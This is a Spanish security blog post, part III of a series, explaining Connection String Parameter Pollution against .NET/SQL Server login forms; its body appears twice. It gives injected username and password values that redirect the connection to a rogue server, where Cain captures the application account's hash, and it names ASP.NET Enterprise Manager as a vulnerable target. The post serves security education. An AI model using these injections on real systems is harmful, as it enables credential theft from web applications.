Connection String Attacks (III de VI)
*********************************************************************************************
- Connection String Attacks (I de VI)
- Connection String Attacks (II de VI)
- Connection String Attacks (III de VI)
- Connection String Attacks (IV de VI)
- Connection String Attacks (V de VI)
- Connection String Attacks (VI de VI)
*********************************************************************************************
Connection String Parameter Polution
Las técnicas de Parameter Polution son utilizadas para sobrescribir valores en parámetros mediante la repetición de los mismos. Desde este año se hicieron muy famosas en el entorno HTTP gracias a la conferencia que impartió en OWASP, pero también son aplicables a otros ámbitos. En este ejemplo, las técnicas de Parameter Polution pueden aplicarse a los parámetros contenidos en las cadenas de conexión permitiendo múltiples ataques.
El objetivo es sobre escribir el valor de un parámetro mediante la repetición del mismo. La idea es que el procesamiento de los parámetros en las cadenas de conexión mediante los componentes .NET utilizados se basa en una configuración discreta. Es decir, se analiza cada parámetro individualmente, de forma secuencial, y sin tener en cuenta si ha sido utilizado previamente o no.
Así, una cadena de conexión con la siguiente estructura:
“Parameter1=Value1; Parameter2=Value2;
Parameter1=Value3; Parameter1=Value4”
Se procesaría de la siguiente forma:
1)Se asigna Value1 a la variable Parameter1.
2)Se asigna Value2 a la variable Parameter2.
3)Se asigna Value3 a la variable Parameter1.
4)Se asigna Value4 a la variable Parameter1.
El resultado final tras la ejecución de este proceso será que Parameter1 valga Value4 y Parameter2 valga Value2.
Conociendo este comportamiento en el funcionamiento de los componentes, una inyección en una cadena de conexión puede permitir al atacante sobre escribir todos los valores anteriores de una cadena de conexión. Esto permite al atacante cambiar el comportamiento por completo de la conexión.
Autenticación Integrada
Una de las características que van a ser de más utilidad a la hora de realizar los ataques de “Connection String Parameter Pollution” [CSPP] es el uso de la autenticación Integrada. En los sistemas de bases de datos Oracle Database y Microsoft SQL Server se permite el uso de autenticación basada en el sistema operativo. La idea es que no es necesario enviar o establecer un proceso de login con una cuenta de la base de datos sino que se utilizará la cuenta con la que el usuario está conectado al sistema operativo.
En el caso de una aplicación que está corriendo en un sistema que desea hacer uso de la autenticación integrada se intentará realizar la conexión con el usuario con que está corriendo esa aplicación.
En las cadenas de conexión se define si la sesión se va autenticar por medio de un usuario de la base de datos, haciendo uso de los campos User ID y Password, o si se va a realizar mediante las credenciales de la cuenta del sistema operativo, haciendo uso del campo Integrated Security = True o Yes o SSPI. En el supuesto de utilizarse la autenticación mediante cuentas de la base de datos se utiliza el valor Integrated Security = False / no.
Connection String Parameter Pollution Attacks
Para la explicación de estos ataques se va a suponer una aplicación web, que funciona sobre un servidor Internet Information Services corriendo sobre un servidor Microsoft Windows Server, en la que se solicita usuario y contraseña. Estos datos van a ser utilizados dentro de una cadena de conexión a una base de datos Microsoft SQL Server 2005. Es decir, algo como lo siguiente:
Data source = SQL2005; initial catalog = db1; integrated security=no;
user id=+’valor_user’+; Password=+’valor_password’+;
Según este entorno, la aplicación está haciendo uso de usuarios SQL Server para acceder al motor de base de datos. Con esta configuración se pueden realizar los siguientes ataques.
Ataque 1: Hash stealing
Un atacante podría poner un Rogue MS SQL Server conectado a Internet con un sniffer de credenciales de MS SQL Server activado (Para este ejemplo se utilizará CAIN). Al atacante le bastaría con realizar un ataque de CSPP de la siguiente forma:
- Valor_User: ; data source = Rogue_Server
- Valor_Password: ; integrated security = true
Al utilizar estas inyecciones, la cadena de conexión que queda construida es:
Data source = SQL2005; initial catalog = db1; integrated security=no;
user id=; data source=Rogue Server; Password=; Integrated Security=true;
Como se puede apreciar, los parámetros Data Source e Integrated Security quedan duplicados. En los drivers nativos usados en .NET para conectar a Microsoft SQL Server priman los valores finales, es decir, los primeros valores son obviados y la aplicación va a intentar conectarse a Rogue Server con la cuenta del sistema con la que está corriendo, es decir, intentando una conexión con las credenciales del usuario de Windows con que corre la aplicación web. Este puede ser un usuario del sistema, o un usuario del pool de aplicaciones.
Ejemplo: ASP.NET Enterprise Manager
ASP.NET Enterprise Manager es una solución Web similar a la consola de Microsoft SQL Server Enterprise Manager. Esta herramienta se distribuía como OpenSource, pero el dominio principal parece estar abandonado. No obstante, es fácil conseguir esta tool y hacerla funcional en muchos sitios de Internet, donde no se hace referencia a su estado actual. Algunos paneles de control web, como por ejemplo Plex, hacen uso de ella internamente. Es común encontrarla en muchas empresas dedicadas al hosting de servidores virtuales o bases de datos.
En el ejemplo se puede ver como basta con realizar el ataque descrito en el formulario de login y como en el servidor controlado donde se ha instalado el motor de bases de datos SQL Server, activando Cain, recoger las credenciales de la cuenta con la que corre la aplicación web.
Figura 8: CPP en ASP.NET Enterprise Manager para robar el hash y la información de la cuenta
Los resultados se recogen en el Rogue Server donde se ha instalado el sniffer de conexiones a la base de datos.
Figura 9: Hash recogido en el Rogue Server con Cain
*********************************************************************************************
- Connection String Attacks (I de VI)
- Connection String Attacks (II de VI)
- Connection String Attacks (III de VI)
- Connection String Attacks (IV de VI)
- Connection String Attacks (V de VI)
- Connection String Attacks (VI de VI)
*********************************************************************************************
- Connection String Attacks (I de VI)
- Connection String Attacks (II de VI)
- Connection String Attacks (III de VI)
- Connection String Attacks (IV de VI)
- Connection String Attacks (V de VI)
- Connection String Attacks (VI de VI)
*********************************************************************************************
Connection String Parameter Polution
Las técnicas de Parameter Polution son utilizadas para sobrescribir valores en parámetros mediante la repetición de los mismos. Desde este año se hicieron muy famosas en el entorno HTTP gracias a la conferencia que impartió en OWASP, pero también son aplicables a otros ámbitos. En este ejemplo, las técnicas de Parameter Polution pueden aplicarse a los parámetros contenidos en las cadenas de conexión permitiendo múltiples ataques.
El objetivo es sobre escribir el valor de un parámetro mediante la repetición del mismo. La idea es que el procesamiento de los parámetros en las cadenas de conexión mediante los componentes .NET utilizados se basa en una configuración discreta. Es decir, se analiza cada parámetro individualmente, de forma secuencial, y sin tener en cuenta si ha sido utilizado previamente o no.
Así, una cadena de conexión con la siguiente estructura:
“Parameter1=Value1; Parameter2=Value2;
Parameter1=Value3; Parameter1=Value4”
Se procesaría de la siguiente forma:
1)Se asigna Value1 a la variable Parameter1.
2)Se asigna Value2 a la variable Parameter2.
3)Se asigna Value3 a la variable Parameter1.
4)Se asigna Value4 a la variable Parameter1.
El resultado final tras la ejecución de este proceso será que Parameter1 valga Value4 y Parameter2 valga Value2.
Conociendo este comportamiento en el funcionamiento de los componentes, una inyección en una cadena de conexión puede permitir al atacante sobre escribir todos los valores anteriores de una cadena de conexión. Esto permite al atacante cambiar el comportamiento por completo de la conexión.
Autenticación Integrada
Una de las características que van a ser de más utilidad a la hora de realizar los ataques de “Connection String Parameter Pollution” [CSPP] es el uso de la autenticación Integrada. En los sistemas de bases de datos Oracle Database y Microsoft SQL Server se permite el uso de autenticación basada en el sistema operativo. La idea es que no es necesario enviar o establecer un proceso de login con una cuenta de la base de datos sino que se utilizará la cuenta con la que el usuario está conectado al sistema operativo.
En el caso de una aplicación que está corriendo en un sistema que desea hacer uso de la autenticación integrada se intentará realizar la conexión con el usuario con que está corriendo esa aplicación.
En las cadenas de conexión se define si la sesión se va autenticar por medio de un usuario de la base de datos, haciendo uso de los campos User ID y Password, o si se va a realizar mediante las credenciales de la cuenta del sistema operativo, haciendo uso del campo Integrated Security = True o Yes o SSPI. En el supuesto de utilizarse la autenticación mediante cuentas de la base de datos se utiliza el valor Integrated Security = False / no.
Connection String Parameter Pollution Attacks
Para la explicación de estos ataques se va a suponer una aplicación web, que funciona sobre un servidor Internet Information Services corriendo sobre un servidor Microsoft Windows Server, en la que se solicita usuario y contraseña. Estos datos van a ser utilizados dentro de una cadena de conexión a una base de datos Microsoft SQL Server 2005. Es decir, algo como lo siguiente:
Data source = SQL2005; initial catalog = db1; integrated security=no;
user id=+’valor_user’+; Password=+’valor_password’+;
Según este entorno, la aplicación está haciendo uso de usuarios SQL Server para acceder al motor de base de datos. Con esta configuración se pueden realizar los siguientes ataques.
Ataque 1: Hash stealing
Un atacante podría poner un Rogue MS SQL Server conectado a Internet con un sniffer de credenciales de MS SQL Server activado (Para este ejemplo se utilizará CAIN). Al atacante le bastaría con realizar un ataque de CSPP de la siguiente forma:
- Valor_User: ; data source = Rogue_Server
- Valor_Password: ; integrated security = true
Al utilizar estas inyecciones, la cadena de conexión que queda construida es:
Data source = SQL2005; initial catalog = db1; integrated security=no;
user id=; data source=Rogue Server; Password=; Integrated Security=true;
Como se puede apreciar, los parámetros Data Source e Integrated Security quedan duplicados. En los drivers nativos usados en .NET para conectar a Microsoft SQL Server priman los valores finales, es decir, los primeros valores son obviados y la aplicación va a intentar conectarse a Rogue Server con la cuenta del sistema con la que está corriendo, es decir, intentando una conexión con las credenciales del usuario de Windows con que corre la aplicación web. Este puede ser un usuario del sistema, o un usuario del pool de aplicaciones.
Ejemplo: ASP.NET Enterprise Manager
ASP.NET Enterprise Manager es una solución Web similar a la consola de Microsoft SQL Server Enterprise Manager. Esta herramienta se distribuía como OpenSource, pero el dominio principal parece estar abandonado. No obstante, es fácil conseguir esta tool y hacerla funcional en muchos sitios de Internet, donde no se hace referencia a su estado actual. Algunos paneles de control web, como por ejemplo Plex, hacen uso de ella internamente. Es común encontrarla en muchas empresas dedicadas al hosting de servidores virtuales o bases de datos.
En el ejemplo se puede ver como basta con realizar el ataque descrito en el formulario de login y como en el servidor controlado donde se ha instalado el motor de bases de datos SQL Server, activando Cain, recoger las credenciales de la cuenta con la que corre la aplicación web.
Figura 8: CPP en ASP.NET Enterprise Manager para robar el hash y la información de la cuenta
Los resultados se recogen en el Rogue Server donde se ha instalado el sniffer de conexiones a la base de datos.
Figura 9: Hash recogido en el Rogue Server con Cain
*********************************************************************************************
- Connection String Attacks (I de VI)
- Connection String Attacks (II de VI)
- Connection String Attacks (III de VI)
- Connection String Attacks (IV de VI)
- Connection String Attacks (V de VI)
- Connection String Attacks (VI de VI)
*********************************************************************************************
3 comentarios:
van a empezar a caer hostings no parcheados y nadie va a saber porque xDDD verás verás xDxD
joder casi ni he dormido por tu culpa... mira que contar esto en "vuestro cumple" jeje no he dormido na, que vicio xD
Menos mal que es viernes
zzzzzzzzzzzzzzzzzzz
Manolo.
thanks, muy util, lo utilice en el curro y ya estan corrigiendo
Publicar un comentario